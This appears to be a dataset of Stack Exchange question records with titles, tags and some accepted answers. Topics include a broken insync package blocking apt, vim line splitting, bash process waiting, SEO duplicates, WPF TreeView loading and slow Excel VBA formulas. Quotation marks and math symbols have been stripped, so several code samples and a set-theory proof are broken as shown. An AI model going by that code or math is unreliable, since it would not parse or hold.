r--p 00002000 08:06 5636507                    /lib/x86_64-linux-gnu/libdl-2.24.so   7f34a2dce000-7f34a2dcf000 rw-p 00003000 08:06 5636507                    /lib/x86_64-linux-gnu/libdl-2.24.so   7f34a2dcf000-7f34a2e41000 r-xp 00000000 08:06 5636499                    /lib/x86_64-linux-gnu/libpcre.so.3.13.3   7f34a2e41000-7f34a3040000 ---p 00072000 08:06 5636499                    /lib/x86_64-linux-gnu/libpcre.so.3.13.3   7f34a3040000-7f34a3041000 r--p 00071000 08:06 5636499                    /lib/x86_64-linux-gnu/libpcre.so.3.13.3   7f34a3041000-7f34a3042000 rw-p 00072000 08:06 5636499                    /lib/x86_64-linux-gnu/libpcre.so.3.13.3   7f34a3042000-7f34a31d7000 r-xp 00000000 08:06 5636270                    /lib/x86_64-linux-gnu/libc-2.24.so   7f34a31d7000-7f34a33d6000 ---p 00195000 08:06 5636270                    /lib/x86_64-linux-gnu/libc-2.24.so   7f34a33d6000-7f34a33da000 r--p 00194000 08:06 5636270                    /lib/x86_64-linux-gnu/libc-2.24.so   7f34a33da000-7f34a33dc000 rw-p 00198000 08:06 5636270                    /lib/x86_64-linux-gnu/libc-2.24.so   7f34a33dc000-7f34a33e0000 rw-p 00000000 00:00 0    7f34a33e0000-7f34a3404000 r-xp 00000000 08:06 5636565                    /lib/x86_64-linux-gnu/libselinux.so.1   7f34a3404000-7f34a3603000 ---p 00024000 08:06 5636565                    /lib/x86_64-linux-gnu/libselinux.so.1   7f34a3603000-7f34a3604000 r--p 00023000 08:06 5636565                    /lib/x86_64-linux-gnu/libselinux.so.1   7f34a3604000-7f34a3605000 rw-p 00024000 08:06 5636565                    /lib/x86_64-linux-gnu/libselinux.so.1   7f34a3605000-7f34a3607000 rw-p 00000000 00:00 0    7f34a3607000-7f34a362a000 r-xp 00000000 08:06 5636259                    /lib/x86_64-linux-gnu/ld-2.24.so   7f34a3662000-7f34a37fb000 r--p 00000000 08:06 5505564                    /usr/lib/locale/locale-archive   7f34a37fb000-7f34a37fd000 rw-p 00000000 00:00 0    7f34a3825000-7f34a3829000 rw-p 00000000 00:00 0    7f34a3829000-7f34a382a000 r--p 00022000 08:06 5636259                    /lib/x86_64-linux-gnu/ld-2.24.so   7f34a382a000-7f34a382b000 rw-p 00023000 08:06 5636259                    /lib/x86_64-linux-gnu/ld-2.24.so   7f34a382b000-7f34a382c000 rw-p 00000000 00:00 0    7fffe1f34000-7fffe1f55000 rw-p 00000000 00:00 0                          [stack]   7fffe1f9e000-7fffe1fa0000 r--p 00000000 00:00 0                          [vvar]   7fffe1fa0000-7fffe1fa2000 r-xp 00000000 00:00 0                          [vdso]   ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]   AbortedSo I said who cares about insync, nautilus has google drive integration, so I decided to uninstall insync but I couldn't. Now, magically, I cannot run anymore apt-get upgrade or aptitude upgrade, I get this error output:   Resolving dependencies...                  The following partially installed packages will be configured:  insync   No packages will be installed, upgraded, or removed.   0 packages upgraded, 0 newly installed, 0 to remove and 1 not upgraded.   E: Can't find a source to download version '1.3.10.36104-wheezy' of 'insync:amd64'   After unpacking 0 B will be used.   E: Can't find a source to download version '1.3.10.36104-wheezy' of 'insync:amd64'   E: Internal error: couldn't generate list of packages to download   E: Perhaps the package lists are out of date, please try 'aptitude update' (or equivalent) firstThis maybe because the insync repo is unaccessable (which is, for the record, this one).What's more, I can't even open synaptic without getting this nice error:   An error occurred   the following details are prodived   E: dpkg was interrupted, you must manually run 'sudo dpkg --configure -a' to correct the problem.   E: _cache->open() failed, please report.of course insync is the cause of all this:    ale@debian:~/Scaricati$ sudo dpkg --audit && echo ok   The following packages are in a mess due to serious problems during   installation.  They must be reinstalled for them (and any packages   that depend on them) to function properly:    insync               Google Drive sync and backup with multiple    account supporWhat can I do, what can be done to solve this hideous situation and have my daily package upgrade back? Thank you all in advance."  , "title": "SOLVED! insync messed apt and I can't do apt-get update/upgrade"  , "tags": "debian;apt;dpkg;aptitude"  , "accepted_answer": "I solved in another way I found online: I removed insync entry in    /var/lib/dpkg/status, did    apt-get update && sudo apt-get upgrade again and everything started working fine back"  } 
{  "id": "_vi.10728"  , "question": "We can make from two lines a single with J. It looks as the following:line 1line 2after J pressed on line 1 we've got this:line 1 line 2But is there a combination which what do the opposite (not u)? I mean to split line 1 line 2      ^   cursorinline 1line 2i<ENTER><ESC> is too messy. Is there a one button shortcut for this in vim already?"  , "title": "Splitting a line into two"  , "tags": "normal mode"  , "accepted_answer": "As far as I know, vim doesn't have a command for this. But vim is also all about customization. Easy enough to make your own mapping!nnoremap s i<CR><Esc>"  } 
{  "id": "_unix.386744"  , "question": "I'm doing a script to monitor some things from websites and one of the things is to monitor the http status and their response time.In the script I run a command to get the http_status:(http command is provided by: httpie : A Curl-like tool for humans)http -timeout 10 -follow -h http: //$I/ | grep HTTP\\/1.1 | awk '{print $2}'This command will return the status itself, ie: 200, 404, 403, etc. or will return two other things: http: error: Request timed out (10.0s)orhttp: error: ConnectionError ...Note: Increasing the timeout does not solve my problem. I need it to be 10 seconds.How do I put a specific code when returning these two other options? For example in the timeout return 9999 and error 8888."  , "title": "Shell Script to read output of command"  , "tags": "shell;scripting;http"  } 
{  "id": "_unix.140194"  , "question": "How can I get the process with the biggest pid using ps?"  , "title": "How can i get the process with the biggest pid?"  , "tags": "process;sort;ps;process management"  } 
{  "id": "_unix.255647"  , "question": "I've looked and looked and can't find a working solution to a bash script I'm trying to create to shut a process down and wait for it and spawned processes to finish. I'm still learning a lot of Linux.Context:Process FOO runs.Process BAR is used to check FOO and is also used to kill it (I have no control over the internals of these 2 processes).All I can do it is pass commands to BAR and it performs them.In this case, I send command to BAR to kill FOO and it spawns another process and backgrounds it.Goal:I'm trying to run 20 commands simultaneously to execute kill on 20 FOO's (via BAR) and WAIT for all FOO's to die before moving on to the next part of the script.Problem:So far all I can do is wait for BAR to execute and it moves on before the backgrounded process kills FOO.BAR exit FOO1BAR exit FOO2...BAR exit FOO20waitdo more stuffI've also triedBAR exit FOO1PID1=$!BAR exit FOO2PID2=$!wait $PID1 $PID2without luck."  , "title": "How to wait for all spawned and backgrounded processes to finish in bash script"  , "tags": "bash;shell script;process;background process;exit"  } 
{  "id": "_webmaster.102913"  , "question": "On my webpage I have nice URL addresses like this:example.com/categoryThen I have some filter which adds to the URL address a string, the URL address then looks like this:example.com/category/?type=1The problem is than on Google I can see these results:example.com/category/?type=1example.com/category/?type=2example.com/category/?type=etc.How could I get rid of these duplicities please?Thanks."  , "title": "SEO - how to get rid of duplicate web URLs"  , "tags": "seo;url"  } 
{  "id": "_softwareengineering.187595"  , "question": "I was recently hired by a large multi-national corporation to head up mobile development for their sales operation/support team. In a company of close to 10,000 people I am, at least in the America's, the only mobile developer. They are testing the waters and phase 1 (temp-to-hire) went well enough for them. Now they are considering expanding to other developers for their other sales operations/support teams and I've been tasked with assisting/leading the writing of a standardization guide for iOS programming. I am a big believer in giving people the freedom to work in the manner they most feel comfortable in but at the same time, I have been the creator of and on the receiving ends of big balls of mud applications. Having learned through experience I have several standards that I follow religiously such as commenting, at times almost every line - just short things but enough to let someone else know what is going on and using #pragma mark - DESCRIPTION to block off like minded methods, indentation, naming classes with a prefix to avoid name space conflicts, etc. etc. So I guess what I am looking for is not to tell another programmer how they should iterate through an array but rather some basic standardization so anyone can jump into anyone else's project and find their way around with little learning curve. I'd love to see what other means people use to maintain control over a software development group. "  , "title": "Setting up a development standardization guide for in-house/vendor programmers"  , "tags": "development process;ios"  } 
{  "id": "_webmaster.18290"  , "question": "A friend of mine is starting a business. The business model is that his website is the medium through which businesses compete with each other and bid to provide a service to members of the public. He has no technical background but he knows the industry he's servicing well. He hired a web design company to create the site and the idea is that once everything is up, the site will kind of manage itself in that consumers will put up requests to be bid on, businesses will bid to provide the service and consumers will accept bids. Given that he has no technical background, it's unlikely that he will be able to resolve any technical issues. What kind of support should he seek from the web design company post-launch? He can't afford to have a full-time technical person on the payroll right now. what are the likely problems he can expect to run into? I'm thinking things like browser incompatibility as updates come out. Potentially performance issues as traffic ramps up if it takes off."  , "title": "What are the challenges for a non-technical person running a web based business?"  , "tags": "management"  , "accepted_answer": "Future browser compatibility isn't so much of an issue provided the website is designed to be future-proof (within reason) from the off - by that, I mean valid html/css that displays properly in a range of browsers on a number of devices.If your friend were to experience an influx of traffic, it is merely a case of upgrading the server or data transfer allowances with his/her web host - obviously with your friend being non-technical, this may be something they will have taken care of, which means they would be his first port of call either way should this become an issue.Provided the site is programmed and put together well, there is no reason why it shouldn't stand the test of time (as far as intended functionality goes), though a lot of the best websites are updated with both features and content over time to keep things interesting and continually optimize whatever they intend to serve as.It sounds like there will be a customer support role (it also sounds like your friend will likely be taking care of it) - and of course, you never know what people might ask. That being said, if someone did have a technical issue he couldn't answer the chances are the source of the issue is either local to that user - or as I keep saying, the site was designed to be expandable in the first place.tl:dr; Provided the website is designed to display properly on a number of browsers and devices as well as being optimized for performance and his web design company are also taking care of the hosting, he shouldn't have any worries until the point where the business has scaled to probably requiring full-time technical support anyway."  } 
{  "id": "_webmaster.34330"  , "question": "For a site http://imageocd.com that I just set up I initially spelled the category automobiles as autimobiles... I know it's rediculous.  I then set up over 10,000 pages behind that category e.g. http://imageocd.com/automobiles/hillman-minx-cabrio-pictures-and-wallpapers.So, I set up over 10,000 301 url redirects to change the spelling on automobiles.  I just checked my Google Webmasters report and got an error saying:http://www.imageocd.com/: Googlebot can't access your siteSep 7, 2012Over the last 24 hours, Googlebot encountered 2 errors while attempting to retrieve DNS information for your site. The overall error rate for DNS queries for your site is 66.7%.Could the overabundance of 301 redirects be causing this?  I host 13 sites on this dedicated server and all sites are running fine.  I also contacted GoDaddy and they said the server is running fine.  Any ideas on what might be going on?Also, I have canonical set up for every URL.  Could this be part of the error?  Thanks."  , "title": "Can too many 301 redirects cause a DNS error?"  , "tags": "google search console;dns;301 redirect"  } 
{  "id": "_cs.9686"  , "question": "What does a pseudo-polynomial algorithm tell us about the problem it solves? I don't see how running time improves if the algorithm is exponential in the input length and polynomial in the input value; so how do we explain this shift from exponential to polynomial?"  , "title": "Weak and strong completeness"  , "tags": "algorithms;complexity theory;np complete;pseudo polynomial"  } 
{  "id": "_cs.72271"  , "question": "I'm rather new to formal languages and reading up on Peter Linz's An Introduction to FORMAL LANGUAGES and AUTOMATA. As an exercise in the pre-requisite chapter, there's a proof. I'm not so familiar with formal proofs so I would like someone to tell me:Does it prove it?How would you make this proof stronger? I am not interested so much in seeing an alternative way to prove this (assuming mine is good) - I would rather know how I can make my proofs better in the future.PROOF:|AB|  n + mn = |A|, m = |B|Where A & B are sets. So if I understand correctly, I want to prove that the size of the union of A & B is smaller or equal to the sum of the individual sizes of A & B. Which intuitively makes lots of sense to me.|AB|  n + m|AB|  |A| + |B|I then try to express the right-hand side differently. If I draw it, I can see that the following holds true (U for universal set, sorry still working out those symbols):|A| + |B| = |U| - |A| + |AB| + |U| - |B| + |AB||A| + |B| = 2|U| - |A| - |B|  + 2|AB| (1)And also|AB|  = |U| - |A| - |B| + 2|AB| (2)If I substitute back into the initial equation:|AB|  |A| + |B||U| - |A| - |B| + 2|AB|  2|U| - |A| - |B|  + 2|AB||U|  2|U|Which is always true."  , "title": "Proof verification |AB|  n + m"  , "tags": "formal languages"  } 
{  "id": "_unix.148321"  , "question": "Is it possible for awk to read the program and the input from the standardinput? I would like to be able to pipe a file to the following function.process_data () {  awk -f - <<EOF{print}EOF}Note: the actual program is longer, it can't be passed as a command lineargument, and I'd rather not use temporary files.Currently it doesn't output anything.$ yes | head | process_data $ "  , "title": "awk - read program AND input from the standard input?"  , "tags": "shell;awk;io redirection;here document"  , "accepted_answer": "process_data() {  awk -F /dev/fd/3 3<< \\EOF  awk code hereEOF}Note that command line arguments can contain newline character, and while there's a length limit, it's general over a few hundred kilobyte.awk '  BEGIN {...}  /.../ ...  END {...}'If the issue is about embedding single quote characters in the awk script, another approach is to store the code in a variable:awk_code=$(cat << \\EOF{print 'quoted'  $0}EOFAnd do:process_data() {  awk $awk_code}"  } 
{  "id": "_unix.169039"  , "question": "I have a problem with locale and I can't found any solution that work !Every tutorial are similar like this:http://www.thomas-krenn.com/en/wiki/Perl_warning_Setting_locale_failed_in_DebianSo, this is the problem with locale:pi @ server [~]:$ > sudo deluser --remove-home cm22perl: warning: Setting locale failed.perl: warning: Please check that your locale settings:LANGUAGE = (unset),LC_ALL = (unset),LC_CTYPE = UTF-8,LANG = en_GB.UTF-8are supported and installed on your system.perl: warning: Falling back to the standard locale (C).Looking for files to backup/remove ...Removing user `cm22' ...Warning: group `cm22' has no more members.Done.How can I resolve ?thank you"  , "title": "Problem with locale: Setting locale failed."  , "tags": "debian;locale"  } 
{  "id": "_webmaster.22981"  , "question": "I am totally new to the SEO world.I got a client though, for whom I am doing SEO. He has a laundry/dry clean/moving/shoe repair kind of business and a website for it.I have no idea how much I should charge him.Also I am not sure whether it has to be a one time thing or ongoing work with monthly payments.We agreed that he pays me $300 and gives one month to work on his site, and we'll see what happens after that.Could you please give me any guidelines?Thank you!"  , "title": "SEO consultant job description and compensation guidelines"  , "tags": "seo"  } 
{  "id": "_codereview.127999"  , "question": "I am working with a TreeView (default control from .Net Framework) that displays hierachical data. Data are bound to the view using MVVM pattern with the HierarchicalDataTemplate.<HierarchicalDataTemplate DataType={x:Type models:TreeItemViewModel} ItemsSource={Binding Children, Mode=OneWay}>    <TextBlock Text={Binding Name} /></HierarchicalDataTemplate>The child items are loaded automatically when the view requests the child collection. To stay responsive, the child items are loaded in background up to a specific depth:public class TreeItemViewModel : ViewModelBase{    private readonly ObservableCollection<TreeItemViewModel> myChildren = new ObservableCollection<TreeItemViewModel>();    private const int PRELOADING_DEPTH = 1;    public string Name { get; set; }    public bool IsLoaded { get; set; }    public bool IsLoading { get; set; }    public ObservableCollection<TreeItemViewModel> Children    {        get        {            ThreadPool.QueueUserWorkItem(o => EnsureChildrenAreLoaded(myChildren, 0));            return myChildren;        }    }    public void EnsureChildrenAreLoaded(ObservableCollection<TreeItemViewModel> childrenToFill, int depth)    {        if (!IsLoaded && !IsLoading)        {            IsLoading = true;            var children = LoadChildren().ToArray();            App.RunOnGuiThread(() =>            {                foreach (var child in children)                    childrenToFill.Add(child);                IsLoaded = true;                IsLoading = false;            });        }        if (depth < PRELOADING_DEPTH)            foreach (var child in myChildren)                child.EnsureChildrenAreLoaded(child.myChildren, depth + 1);    }    protected virtual IEnumerable<TreeItemViewModel> LoadChildren()    {        // logic for loading sub items        return Enumerable.Empty<TreeItemViewModel>();    }}RunOnGuiThread:    public static void RunOnGuiThread(Action action)    {        if (Current == null || Current.Dispatcher == null)            action();        else            Current.Dispatcher.Invoke(action);    }Is that a proper solution? Has it any disadvantages / potential for improvements?"  , "title": "Loading sub items of TreeView in background"  , "tags": "c#;multithreading;wpf;mvvm"  , "accepted_answer": "I do not see your full UI then maybe you're using it (to display a busy indicator?) but, from what I have here, it seems that IsLoading is just a repetition for IsLoaded and as such it should be dropped. Any reason for EnsureChildrenAreLoaded() to be public and TreeItemViewModel not to be sealed?EnsureChildrenAreLoaded() might be:var children = LoadChildren().ToArray();App.RunOnGuiThread(() =>{    foreach (var child in children)        childrenToFill.Add(child);    IsLoaded = true;});However we now have the problem to preload the children. My major concern here is that you're queuing an action in the pool each time you read the property. Not such big overhead but avoidable. Also I'd move this responsibilities to separate methods:void LoadChildrenAndUpdateUi(ObservableCollection<TreeItemViewModel> childrenToFill){    IsLoaded = true;    var children = LoadChildren().ToArray();    App.RunOnGuiThread(() =>    {        foreach (var child in children)            childrenToFill.Add(child);    });}And:ObservableCollection<TreeItemViewModel> EnsureChildrenAreLoaded(    ObservableCollection<TreeItemViewModel> childrenToFill, int depth){    if (depth >= PRELOADING_DEPTH)        return;    if (!IsLoaded)        ThreadPool.QueueUserWorkItem(_ => LoadChildrenAndUpdateUi(myChildren));    foreach (var child in myChildren)        child.EnsureChildrenAreLoaded(child.myChildren, depth + 1);    return myChildren;}Our getter will then be:public ObservableCollection<TreeItemViewModel> Children    => EnsureChildrenAreLoaded(myChildren, 0);Major difference is that we're going through the children to determine if they have to be loaded in the calling UI thread but we're queuing an action in the thread pool only when required. Note that we're using only one property to track the state (IsLoaded, which should be private). I set its value to true before effectively reading children to avoid multiple parallel requests, name is now somehow misleading and should be changed to something meaningful (_isVisited or something like that).What next? If PRELOADING_DEPTH might ever be 0 or loading time may be really long then I'd add a dummy item to the child collection (to display the expand/collapse indicator), something like:public TreeItemViewModel(){    Children.Add(new TreeItemViewModel { Name = Loading... });}Removed before you start adding new items:children.Clear();foreach (var child in children)    childrenToFill.Add(child);But, well, you already have a busy indicator then you don't need this at all!Edit: if you're using IsLoading in your UI then, unfortunately, you can't drop it that easily. I think you have two options: replace IsLoading and IsLoaded with an enum like enum LoadingStatus { NotLoaded, Loading, Loaded } used in conjunction with a value converter to hide/show the busy indicator or use ordering (as you already doing) to avoid locks (because fortunately you have only one thread for writing):var children = LoadChildren().ToArray();App.RunOnGuiThread(() =>{    foreach (var child in children)        childrenToFill.Add(child);    IsLoaded = true;    IsLoading = false;});Set IsLoading in the UI thread to avoid race conditions (both read and write will be then done in the same UI thread):if (!IsLoaded && !IsLoading){    IsLoading = true;    ThreadPool.QueueUserWorkItem(_ => LoadChildrenAndUpdateUi(myChildren));}Final notes.If your depth is limited to direct children then you  may simplify your implementation (just invoke the lazy load method when you populate the list). You may also want to try to use a LazyAsync<T> implementation (I saw a nice one somewhere...can't find/remember where).WPF supports asynchronous binding with a simple IsAsync=true in the binding expression. You may want to experiment with that, see MSDN for details"  } 
{  "id": "_codereview.167049"  , "question": "I first want to apologize for dumping a lot of code into here, but I have been stuck on this issue for days. I was assigned to build a planning screen wherein I could pull corresponding information regarding Sales, Production, and Inventory. As a preface to all of this, this code works for me and does exactly what I need it to do. I originally posted this in Stack Overflow, but someone mentioned I should also post it here. I also want to note that the SpeedUp and SpeedDown functions are in a different module and are used to affect: Screen Updating, Events, Calculations, and the Status Bar.The problem, however, is the amount of time it takes to run. Originally, it was taking about 5-7 minutes, but I have been able to reduce it to 1-2 minutes depending on the computer being used. I have tried changing multiple things, and can not reduce the time more. Any input or advice would be greatly appreciated.Sub FillInventoryAcross()'This code is the formulas for the Total Inventory, Sales, and Production Data. Just addition formulas.Call SpeedUpDim strFormulas(1 To 3) As VariantWith ThisWorkbook.Sheets(Inventory)strFormulas(1) = =SUM(C15,C20,C25,C30,C35,C40)strFormulas(2) = =SUM(C16,C21,C26,C31,C36,C41)strFormulas(3) = =SUM(C18,C23,C28,C33,C38,C43).Range(C11:W11).formula = strFormulas(1).Range(C11:W11).FillRight.Range(C12:W12).formula = strFormulas(2).Range(C12:W12).FillRight.Range(C13:W13).formula = strFormulas(3).Range(C13:W13).FillRightEnd WithCall SpeedDownEnd SubSub FillInventoryPerLocation()'This code will fill in the inventory per location. It will add up all of the sales, movement and production per plant along with the prior days inventory.Call SpeedUpDim strformula(1 To 12) As VariantWith ThisWorkbook.Sheets(Inventory)strformula(1) = =IFERROR(IF(TRIM(Inventori!$D:$D)=L95,INDEX(Inventori!$E:$E,MATCH(Inventory!$M$3,Inventori!$B:$B,0))+SUM(C16:C19)+C46,0),0)strformula(2) = =IFERROR(IF(TRIM(Inventori!$D:$D)=L90,INDEX(Inventori!$E:$E,MATCH(Inventory!$M$3,Inventori!$B:$B,0)),0)+SUM(C21:C24),0)strformula(3) = =IFERROR(IF(TRIM(Inventori!$D:$D)=L91,INDEX(Inventori!$E:$E,MATCH(Inventory!$M$3,Inventori!$B:$B,0)),0)+SUM(C26:C29),0)strformula(4) = =IFERROR(IF(TRIM(Inventori!$D:$D)=L93,INDEX(Inventori!$E:$E,MATCH(Inventory!$M$3,Inventori!$B:$B,0)),0)+SUM(C31:C34),0)strformula(5) = =IFERROR(IF(TRIM(Inventori!$D:$D)=L94,INDEX(Inventori!$E:$E,MATCH(Inventory!$M$3,Inventori!$B:$B,0)),0)+SUM(C36:C39),0)strformula(6) = =IFERROR(IF(TRIM(Inventori!$D:$D)=A78,INDEX(Inventori!$E:$E,MATCH(Inventory!$M$3,Inventori!$B:$B,0)),0)+SUM(C41:C44),0)strformula(7) = =C15+Sum(D16:D19)+D46strformula(8) = =C20+sum(D21:D24)strformula(9) = =C25+sum(D26:D29)strformula(10) = =C30+sum(D31:D34)strformula(11) = =C35+sum(D36:D39)strformula(12) = =C40+sum(D41:D44).Range(C15).formula = strformula(1).Range(C20).formula = strformula(2).Range(C25).formula = strformula(3).Range(C30).formula = strformula(4).Range(C35).formula = strformula(5).Range(C40).formula = strformula(6).Range(D15:W15).formula = strformula(7).Range(D15:W15).FillRight.Range(D20:W20).formula = strformula(8).Range(D20:W20).FillRight.Range(D25:W25).formula = strformula(9).Range(D25:W25).FillRight.Range(D30:W30).formula = strformula(10).Range(D30:W30).FillRight.Range(D35:W35).formula = strformula(11).Range(D35:W35).FillRight.Range(D40:W40).formula = strformula(12).Range(D40:W40).FillRightEnd WithCall SpeedDownEnd SubSub SumIfSales()'This code will pull up all of the sales information for a product. Just a Sumif looking up information that matches Date/SKU. After the code is in the starting cell, it is then dragged accross for all of the other dates.Call SpeedUpDim strformula(1 To 6) As VariantWith ThisWorkbook.Sheets(Inventory)strformula(1) = =(SUMIFS(Sales!$I$1:$I$200000,Sales!$B$1:$B$200000,L95,Sales!$D$1:$D$200000,CONCATENATE(Inventory!C$8,Inventory!$M$3),Sales!$AD$1:$AD$200000,VN)*-1)strformula(2) = =(SUMIFS(Sales!$I$1:$I$200000,Sales!$B$1:$B$200000,L90,Sales!$D$1:$D$200000,CONCATENATE(Inventory!C$8,Inventory!$M$3),Sales!$AD$1:$AD$200000,VN)*-1)strformula(3) = =(SUMIFS(Sales!$I$1:$I$200000,Sales!$B$1:$B$200000,L91,Sales!$D$1:$D$200000,CONCATENATE(Inventory!C$8,Inventory!$M$3),Sales!$AD$1:$AD$200000,VN)*-1)strformula(4) = =(SUMIFS(Sales!$I$1:$I$200000,Sales!$B$1:$B$200000,L93,Sales!$D$1:$D$200000,CONCATENATE(Inventory!C$8,Inventory!$M$3),Sales!$AD$1:$AD$200000,VN)*-1)strformula(5) = =(SUMIFS(Sales!$I$1:$I$200000,Sales!$B$1:$B$200000,L94,Sales!$D$1:$D$200000,CONCATENATE(Inventory!C$8,Inventory!$M$3),Sales!$AD$1:$AD$200000,VN)*-1)strformula(6) = =(SUMIFS(Sales!$I$1:$I$200000,Sales!$B$1:$B$200000,A78,Sales!$D$1:$D$200000,CONCATENATE(Inventory!C$8,Inventory!$M$3),Sales!$AD$1:$AD$200000,VN)*-1).Range(C16:W16).formula = strformula(1).Range(C16:W16).FillRight.Range(C21:W21).formula = strformula(2).Range(C21:W21).FillRight.Range(C26:W26).formula = strformula(3).Range(C26:W26).FillRight.Range(C31:W31).formula = strformula(4).Range(C31:W31).FillRight.Range(C36:W36).formula = strformula(5).Range(C36:W36).FillRight.Range(C41:W41).formula = strformula(6).Range(C41:W41).FillRightEnd WithCall SpeedDownEnd SubSub SumIfMovement()'This code works in a similar way to the prior code, but looks to match Date/SKU to find product movement.Call SpeedUpDim strformula(1 To 6) As VariantWith ThisWorkbook.Sheets(Inventory)strformula(1) = =(SUMIFS(Sales!$I$1:$I$200000,Sales!$D$1:$D$200000,CONCATENATE(Inventory!C8,Inventory!$M$3),Sales!$AD$1:$AD$200000,VT,Sales!$O$1:$O$200000,95)-SUMIFS(Sales!$I$1:$I$200000,Sales!$D$1:$D$200000,CONCATENATE(Inventory!C8,Inventory!$M$3),Sales!$AD$1:$AD$200000,VT,Sales!$B$1:$B$200000,L95))strformula(2) = =(SUMIFS(Sales!$I$1:$I$200000,Sales!$D$1:$D$200000,CONCATENATE(Inventory!C8,Inventory!$M$3),Sales!$AD$1:$AD$200000,VT,Sales!$O$1:$O$200000,90)-SUMIFS(Sales!$I$1:$I$200000,Sales!$D$1:$D$200000,CONCATENATE(Inventory!C8,Inventory!$M$3),Sales!$AD$1:$AD$200000,VT,Sales!$B$1:$B$200000,L90))strformula(3) = =(SUMIFS(Sales!$I$1:$I$200000,Sales!$D$1:$D$200000,CONCATENATE(Inventory!C8,Inventory!$M$3),Sales!$AD$1:$AD$200000,VT,Sales!$O$1:$O$200000,91)-SUMIFS(Sales!$I$1:$I$200000,Sales!$D$1:$D$200000,CONCATENATE(Inventory!C8,Inventory!$M$3),Sales!$AD$1:$AD$200000,VT,Sales!$B$1:$B$200000,L91))strformula(4) = =(SUMIFS(Sales!$I$1:$I$200000,Sales!$D$1:$D$200000,CONCATENATE(Inventory!C8,Inventory!$M$3),Sales!$AD$1:$AD$200000,VT,Sales!$O$1:$O$200000,93)-SUMIFS(Sales!$I$1:$I$200000,Sales!$D$1:$D$200000,CONCATENATE(Inventory!C8,Inventory!$M$3),Sales!$AD$1:$AD$200000,VT,Sales!$B$1:$B$200000,L93))strformula(5) = =(SUMIFS(Sales!$I$1:$I$200000,Sales!$D$1:$D$200000,CONCATENATE(Inventory!C8,Inventory!$M$3),Sales!$AD$1:$AD$200000,VT,Sales!$O$1:$O$200000,94)-SUMIFS(Sales!$I$1:$I$200000,Sales!$D$1:$D$200000,CONCATENATE(Inventory!C8,Inventory!$M$3),Sales!$AD$1:$AD$200000,VT,Sales!$B$1:$B$200000,L94))strformula(6) = =(SUMIFS(Sales!$I$1:$I$200000,Sales!$D$1:$D$200000,CONCATENATE(Inventory!C8,Inventory!$M$3),Sales!$AD$1:$AD$200000,VT,Sales!$O$1:$O$200000,78)-SUMIFS(Sales!$I$1:$I$200000,Sales!$D$1:$D$200000,CONCATENATE(Inventory!C8,Inventory!$M$3),Sales!$AD$1:$AD$200000,VT,Sales!$B$1:$B$200000,A78)).Range(C17:W17).formula = strformula(1).Range(C17:W17).FillRight.Range(C22:W22).formula = strformula(2).Range(C22:W22).FillRight.Range(C27:W27).formula = strformula(3).Range(C27:W27).FillRight.Range(C32:W32).formula = strformula(4).Range(C32:W32).FillRight.Range(C37:W37).formula = strformula(5).Range(C37:W37).FillRight.Range(C42:W42).formula = strformula(6).Range(C42:W42).FillRightEnd WithCall SpeedDownEnd SubSub SumIfProduction()'This code yet again works like the other two codes, but for production.Call SpeedUpDim strformula(1 To 6) As VariantWith ThisWorkbook.Sheets(Inventory)strformula(1) = =(SUMIFS(Production!$Q$1:$Q$100000,Production!$B$1:$B$100000,CONCATENATE(Inventory!C$8,Inventory!$M$3),Production!$I$1:$I$100000,P95))strformula(2) = =(SUMIFS(Production!$Q$1:$Q$100000,Production!$B$1:$B$100000,CONCATENATE(Inventory!C$8,Inventory!$M$3),Production!$I$1:$I$100000,P90))strformula(3) = =(SUMIFS(Production!$Q$1:$Q$100000,Production!$B$1:$B$100000,CONCATENATE(Inventory!C$8,Inventory!$M$3),Production!$I$1:$I$100000,P91))strformula(4) = =(SUMIFS(Production!$Q$1:$Q$100000,Production!$B$1:$B$100000,CONCATENATE(Inventory!C$8,Inventory!$M$3),Production!$I$1:$I$100000,P93))strformula(5) = =(SUMIFS(Production!$Q$1:$Q$100000,Production!$B$1:$B$100000,CONCATENATE(Inventory!C$8,Inventory!$M$3),Production!$I$1:$I$100000,P94))strformula(6) = =(SUMIFS(Production!$Q$1:$Q$100000,Production!$B$1:$B$100000,CONCATENATE(Inventory!C$8,Inventory!$M$3),Production!$I$1:$I$100000,A78)).Range(C18:W18).formula = strformula(1).Range(C18:W18).FillRight.Range(C23:W23).formula = strformula(2).Range(C23:W23).FillRight.Range(C28:W28).formula = strformula(3).Range(C28:W28).FillRight.Range(C33:W33).formula = strformula(4).Range(C33:W33).FillRight.Range(C38:W38).formula = strformula(5).Range(C38:W38).FillRight.Range(C43:W43).formula = strformula(6).Range(C43:W43).FillRightEnd WithCall SpeedDownEnd SubSub DailySalesHistory()'This code works to look up the Sales History by day for a given product. Takes each starting Monday and will add a day to it accross until Sunday, then the next week starts. Does the Date/SKU thing like the other sections. It then multiplies the end value by -1 to make the sales values positive, as the user would like to see them as.Call SpeedUpDim strformula(1 To 7) As VariantWith ThisWorkbook.Sheets(Inventory)strformula(1) = =(SUMIFS(Sales!$I$1:$I$200000,Sales!$D$1:$D$200000,CONCATENATE(Inventory!$B51,Inventory!$M$3),Sales!$AD$1:$AD$200000,VN))strformula(2) = =(SUMIFS(Sales!$I$1:$I$200000,Sales!$D$1:$D$200000,CONCATENATE(Inventory!$B51+1,Inventory!$M$3),Sales!$AD$1:$AD$200000,VN))strformula(3) = =(SUMIFS(Sales!$I$1:$I$200000,Sales!$D$1:$D$200000,CONCATENATE(Inventory!$B51+2,Inventory!$M$3),Sales!$AD$1:$AD$200000,VN))strformula(4) = =(SUMIFS(Sales!$I$1:$I$200000,Sales!$D$1:$D$200000,CONCATENATE(Inventory!$B51+3,Inventory!$M$3),Sales!$AD$1:$AD$200000,VN))strformula(5) = =(SUMIFS(Sales!$I$1:$I$200000,Sales!$D$1:$D$200000,CONCATENATE(Inventory!$B51+4,Inventory!$M$3),Sales!$AD$1:$AD$200000,VN))strformula(6) = =(SUMIFS(Sales!$I$1:$I$200000,Sales!$D$1:$D$200000,CONCATENATE(Inventory!$B51+5,Inventory!$M$3),Sales!$AD$1:$AD$200000,VN))strformula(7) = =(SUMIFS(Sales!$I$1:$I$200000,Sales!$D$1:$D$200000,CONCATENATE(Inventory!$B51+6,Inventory!$M$3),Sales!$AD$1:$AD$200000,VN)).Range(D51).formula = strformula(1).Range(D51:D108).FillDown.Range(E51).formula = strformula(2).Range(E51:E108).FillDown.Range(F51).formula = strformula(3).Range(F51:F108).FillDown.Range(G51).formula = strformula(4).Range(G51:G108).FillDown.Range(H51).formula = strformula(5).Range(H51:H108).FillDown.Range(I51).formula = 